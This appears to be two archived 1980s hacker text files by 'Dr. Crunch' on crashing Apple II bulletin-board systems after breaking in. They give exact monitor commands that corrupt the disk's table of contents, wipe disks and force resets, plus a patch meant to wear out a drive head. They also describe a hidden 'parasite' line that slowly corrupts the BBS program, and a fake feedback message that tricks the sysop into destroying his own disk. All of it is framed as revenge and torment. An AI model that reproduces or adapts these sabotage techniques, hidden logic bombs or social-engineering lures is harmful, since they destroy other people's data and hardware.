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- WHAT TO DO WHEN YOU BREAK INTO A BBS
- ====================================
-
- BY
-
- -=> DOCTOR CRUNCH <=-
-
-
- OK, YOU PROBABLY HAVE READ T-FILES ABOUT HOW TO BREAK IN A BBS. SO, I WILL
- TELL YOU WHAT TO DO WHEN YOU GET INTO THE BBS. MOST SYSOPS, IF THEY HAVE AN IQ,
- WILL DISABLE THE INIT COMMAND. THEY USUALLY DO THIS BY CHANGING THE INIT
- COMMAND TO SOME OTHER WORD YOU WILL NEVER GUESS. WELL, THERE IS AN EASIER WAY
- TO CRASH THE BBS THAN BY SEARCHING FOR WHAT THE SYSOP CHANGED IT TO. GET IN THE
- MONITER (CALL-151), AND TYPE:
-
- A54FG
-
- THIS IS THE INIT COMMAND'S ENTRY POINT WHICH DOS CALLS TO INITIALIZE A DISK.
- THERE ARE SOME BUGS WITH THIS WAY OF CRASHING A DISK THOUGH:
-
- 1) IT TAKES ABOUT 40 SECONDS TO INIT A DISK, AND 9F A SYSOP IS THERE, HE CAN
- STOP YOU AT ANY TIME.
-
- 2) MANY BOARDS USE A FAST DOS; AND, MOST FAST-DOSES HAD TO TAKE OUT THE INIT
- COMMAND TO MAKE THE MODS TO DOS. SO, EVEN IF YOU DO A A54FG, YOU WON'T BE ABLE
- TO KILL THE DISK.
-
- I PREFER TO KILL THE VTOC, INSTEAD OF INITING THE DISK. HERE ARE A COUPLE OF
- REASONS WHY:
-
- 1) VERY QUICK!!!!!
-
- 2) VERY NASTY!!!!!
-
- THE TRICK IS TO REWRITE THE VTOC (VOLUME TABLE OF CONTENTS) TO SAY THAT THE
- CATALOG TRACK IS 255. NOW ALL OF US KNOW THERE IS NO TRACK 255 ON A DISK, THIS
- CAN ONLY MEAN.....(YOU GUESSED IT) THAT THE SYSTEM WILL BOMB WHEN DOING ANYTHING
- THAT INVOLVES LOOKING AT THE CATALOG TRACK. SINCE ALMOST EVERYTHING YOU CAN DO
- IN DOS INVOLVES READING THE CATALOG TRACK, THIS WILL CRASH THE BBS QUITE WELL.
- AND HERE IS A NICE LITTLE CATCH, YOU CAN REBOOT HIS DISK (WHICH WILL GIVE HIM AN
- I/O ERROR BECAUSE WHEN THE HELLO FILE IS RUN, DOS MUST LOOK AT THE CATALOG
- TRACK) AND LOGOFF AT THE SAME TIME. YOU SHOULD ALWAYS LOGOFF QUICKLY SO THAT
- THE SYSOP CAN'T LIFT UP THE PHONE, WHICH SOMETIMES WILL PREVENT YOU FROM HANGING
- UP. THE WAY I LOGOFF IS THE MAKE THE BBS I JUST CRASHED DO A RESET, CAUSING ME
- TO BE DISCONNECTED FROM THE OTHER END OF THE LINE. SINCE MOST TERMINAL PROGRAMS
- HANG UP IF YOU LOOSE THE CARRIER (WHICH WILL HAPPEN WHEN HIS SYSTEM RESETS), YOU
- WILL HANG UP THE SECOND YOU CRASH HIS SYSTEM!!!!
-
- WELL, HERE IT IS:
-
- (BE SURE YOU'RE IN THE MONITER)
-
- *B3BC:FF NAFFBG 3F4:00 NFA62G
-
- IF YOU DON'T WANT TO LOGOFF,
-
- *B3BC:FF NAFFBG
-
- NOTE: SOMETIMES YOU MAY HEAR A BEEP, THEN ALL OF YOUR MONITER COMMANDS WILL
- FAIL. THIS IS BECAUSE OF A BUG IN DOS. WHEN RWTS LETS GO OF CONTROL, THE
- MONITER VARIBLE $48 IS DESTROYED. TO WORK PROPERLY, $48 MUST BE RESTORED TO 0
- BEFORE THE MONITER TAKES CONTROL AGAIN. I MADE A SHORT ROUTINE THAT WHEN
- CALLED, WRITES THE VTOC BUFFER TO THE DISK, AND SETS $48 TO 0. THE ROUTINE IS:
-
- 300- 20 FB AF JSR $AFFB
- 302- A9 00 LDA #$00
- 304- 85 48 STA $48
- 306- 60 RTS
-
- SOMETIMES IT IS DESIRABLE TO CRASH THE DISKS IN DRIVE 1 AND DRIVE 2. THIS CAN
- BE DONE IN 1 LINE, INCLUDING THE QUICK LOGOFF:
-
- *300:20 FB AF A9 00 85 48 60 N B3BC:FF NB5F8:1 (DRV1) N300G B5F8:2 N300G
- 3F4:FF N FA62G
-
- WELL, THAT'S ALL FOLKS!!!
-
-
- HAVE LOTS OF FUN......
-
- ==============
- 3>DR. CRUNCH<+
- ==============
-
-
- -=*> P.S. I WAS MESSING AROUND WITH DOS A COUPLE OF DAYS AGO AND I FIGURED
- OUT A REAL, REAL, REAL, NASTY ONE. YOU HAVE PROBABLY HEARD OF LETTING THE DRIVE
- SPIN FOR A COUPLE OF DAYS TO RUIN IT. THIS WORX, BUT IT TAKES A LONG TIME... I
- LIKE THIS 1 BETTER:
-
- *BDCC:EA EA NBDDA:EA EA
-
- THIS MODS DOS TO RECALIBRATE THE DRIVE HEAD FOREVER (UNLESS THE SYSOP WALKS
- IN). SO, ALL YOU DO NOW IS USE A DOS COMMAND THAT READS THE DISK, AND THE DRIVE
- IS GOING TO MAKE ALOT OF FUNNY SOUNDS! CATALOG IS THE BEST ONE TO USE, SINCE IT
- IS IN ALMOST EVERY DOS UNMODIFIED.
-
- =====
- NOTE: THIS SHOULD ONLY BE DONE WHEN
- ===== THERE IS A VERY, VERY, GOOD REASON TO WASTE SOME DUDES DRIVE. DON'T
- EVER DO THIS AS A PRANK, BECAUSE IT WORKS!
-
-
- ZATZ IT..
-
- )>DR. CRUCH<(
-
- <<Uploaded by de Bug>>
- ^^^^^^^^ ^^ ^^ ^^^
- /\_________________________________________________________________________/\
- \/ \/
-
- BBS CRASHING: MORE NIFTY TRIX
- *****************************
- * BY DR. CRUNCH *
- *>-------------------------<*
- *) TYPED AND UPLOADED FOR: (*
- *) THE ASSASSIN'S KNOT (*
- *>-------------------------<*
- *STONEHENGE(814)237-5635 *
- *****************************
- BBS CRASHING: MORE NIFTY TRIX
-
- WELL, I HAD SUCH A FUN TYME PUTTING NIFTY STUFF IN MY LAST T-FILE, I DECIDED
- TO DO IT AGAIN. IN THIS FILE I WILL DISCUSS THE TYME BOMB, THE SNEAKY SPUD, AND
- THE BUGGER. THEY ALL ARE GREAT FOR REVENGE, GETTING EVEN, AND JUST BEING A PAIN
- IN THE A$$. WELL, I WON'T KEEP YOU SUSPENDED ANYMORE, HERE THEY ARE!
-
- TYME BOMB
- =========
- THIS CRASH TAKES A LONG TIME TO WORK, BUT THERE IS ALMOST NO WAY TO DETECT IT.
- IT INVOLVES ADDING A LINE IN A COMMON USED PLACE, BUT NOT TOO COMMON. THAT
- MEANS, THE G-FILE SECTION OF A BBS IS A GOOD PLACE, BUT THE MAIN MENU IS NOT.
- ONCE YOU HAVE DECIDED WHERE TO PUT IT, FIND TWO FAT LINES IN THAT AREA. THESE
- LINES WILL BE THE DISGUISE LINES. YOU WILL PLACE A LINE BETWEEN THEM, AND THEY
- WILL CAMOUFLAGE IT (HOPEFULLY). NOW INSERT THIS LINE RIGHT AFTER THE FIRST
- DISGUISE LINE, AND BEFORE THE SECOND.
-
- LIKE THIS:
-
- 10130 XXXXXXXX DISGUISE LINE XXXXXX
- 10134 POKE INT(RND(1)*30000)+2053,0
- 10140 XXXXXXXX DISGUISE LINE XXXXXX
-
- THIS WILL, EVERY TIME IT HITS LINE 10134, POKE A RANDOM BYTE IN THE PROGRAM TO
- 0. ALL OF YOU APPLESOFT HACKERS OUT THERE SHOULD REMEMBER THAT APPLESOFT USES
- THE BYTE 0 TO SIGNAL THE END OF A LINE; MEANING: THE ENDS OF SOME LINES WILL
- START TO DISAPEAR. I PARTICULARLY LIKE THIS LITTLE TRICK BECUZ WHEN BUGS DO
- APPEAR IN THE PROG- RAM, THEY ARE ALMOST NEVER NEAR THE LINE WE INSERTED. THE
- BUGS APPEAR SO SLOWLY THAT, BY THE TIME THEY ARE DISCOVERED, A BACKUP OF THE BBS
- PROGRAM CONTAINING OUR LITTLE LINE HAS USUALLY BEEN MADE. SO, WHEN THE SYSOP
- BEGINS TO USE HIS BACKUP COPY, OUR LITTLE BUG WILL AGAIN BEGIN TO GNAW AWAY AT
- THE HOST PROGRAM.
-
- NOW LETS GET SOME TERMS DOWN.
-
- A CRASH THAT IS INSERTED IN THE BBS AND SLOWLY DESTROYS IT IS CALLED A
- PARASITE.
-
- THE PROGRAM THE PARASITE IS KILLING IS CALLED THE HOST PROGRAM.
-
- (SOUNDS LIKE BIOLOGY, EH?)
-
- STEP BY STEP:
-
- 1) GET INTO THE BBS SOMEHOW
-
- 2) FIND A COMMONLY USED PLACE, BUT NOT TOO COMMON.
-
- 3) INSERT THE PARASITE LINE BETWEEN TWO DISGUISE LINES.
-
- 4)>BE SURE TO SAVE THE HOST PROGRAM AFTER THE PARASITE HAS BEEN PUT IN IT! IF
- YOU DON'T, WHEN THE HOST PROGRAM'S COMPUTER IS TURNED OFF, THE PARASITE WILL BE
- LOST.
-
- ======================================
-
- SNEAKY SPUD
-
- WHO WOULD A SYSOP LEAST EXPECT TO CRASH HIS BOARD? HIMSELF! THIS LITTLE
- CRASH INVOLVES MODIFYING DOS SO THAT WHEN THE DRIVE IS CATALOGED THE DISK IS
- INITIALIZED INSTEAD. NOW YOU COULD, YOURSELF, INITIALIZE THE DISK, BUT IT IS
- MUCH MORE FUN TO LET THE SYSOP DO IT FOR HIMSELF. WHY?
-
- 1) HE CAN'T FIND OUT WHO DID IT. 2) IF HE CRASHES HIS OWN BBS, HE WILL MAKE
- HIMSELF A COMPLETE ASS, AND YOU TORMENT HIM WITH THAT INFORMATION UNTIL HE
- CRIES!
-
- LETS SEE HOW THIS DONE.
-
- 1) GET INTO THE MONITER.
-
- 2) TYPE "A56E:4C 4F A5<CR>"
-
- 3) EXIT TO BASIC (3D0G)
-
- 4) RERUN THE PROGRAM SO IT WILL LOG YOU OFF.
-
- 5) CALL THE BOARD BACK AND LOGON NEW UNDER SOME NAME LIKE: THE TIDY BOWL MAN
- OR FAT ALBERT OR UTAH JACK OR (WHO GIVES A DAMN?).
-
- 6) SEND HIM SOME FEEDBACK THAT WILL MAKE HIM CATALOG THE DISK. SUCH AS:
-
- EVERYTIME I TRY TO POST OR SEND MAIL TO A USER I GET THIS MESSAGE THEN I GET
- LOGGED OFF! I'M NOT SURE, BUT I THINK THAT YOUR DRIVE IS FULL. TO BE ON THE
- SAFE SIDE, TAKE A CATALOG OF THEM AND SEE IF THERE ARE MORE THAN 122 FILES.
- EVEN THOUGH YOU MAY HAVE FREE SECTOS, YOU MAY NOT HAVE ENOUGH ROOM IN THE
- CATALOG FOR MORE FILE NAMES.
-
- I HOPE YOU GET IT FIXED SOON!
-
- LAT0R0N MAN,
-
- S P U D P E A L E R
- ======= ===========
-
- 7) LOGOFF.
-
- NOW WHEN HE SEES YOUR MESSAGE AND TAKES A CATALOG HE WILL GET HIS DISK FRIED.
- HE WILL PROBABLY BE ABLE TO HIT RESET BEFORE THE DISK IS INITED COMPLETELY, BUT
- ENOUGH WILL BE ERASED TO SCREW HIM UP.
-
- ======================================
-
- THE BUGGER
-
- THIS ONE IS EASY. LOG ONTO A BOARD THAT IS EASY TO BREAK INTO AND DELETE SOME
- LINES OF YOUR CHOICE. THEN SAVE IT. DO THIS EVERY DAY OR SO FOR A MONTH. AT
- THE END OF THE MONTH THE SYSOP WILL BE IN THE RUBBER ROOM SINGING JINGLE BELLS
- WHILE PLAYING A GAME OF HOPSCOTCH.
-
- ======================================
-
- WELL, THAT WRAPS UP ANOTHER EXCITING EPISODE OF "CRASHING CHRONICLES".
-
-
- ZATZ ALL!
-
-
- )>DR. CRUNCH<(
-
- THE ELIMINATOR
-
- <<*UPLOADED BY DE BUG*>>
- ^^^^^^^^ ^^ ^^ ^^^
- Call The Works BBS - 1600+ Textfiles! - [914]/238-8195 - 300/1200 - Always Open
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